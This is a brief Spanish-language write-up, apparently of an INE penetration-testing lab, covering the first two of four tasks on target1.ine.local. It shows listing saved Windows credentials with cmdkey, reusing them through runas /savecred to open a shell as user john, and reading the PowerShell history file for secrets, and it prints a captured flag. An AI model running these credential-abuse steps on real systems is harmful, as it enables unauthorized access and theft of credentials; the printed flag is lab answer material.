Pistas:

• Task 1: Extract stored credentials from target1.ine.local
• Task 2: Analyze system history on target1.ine.local to uncover sensitive data
• Task 3: Exploit vulnerable services on target2.ine.local to gain a shell
• Task 4: Extract database files on target2.ine.local to retrieve root credentials

Tenemos acceso al primer target, a si que vamos a buscar ahi directamente, abrimos powershell:

cmdkey /list

runas.exe /savecred /user:john cmd

Ahora vamos a buscar la flag:

dir C:\flag* /s /b /a 2>nul

FLAG 1: dfba5e5abb7b49518f84e54b7864c3d9

Vamos con la segunda pista, nos dice que busquemos en el historial:

type "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"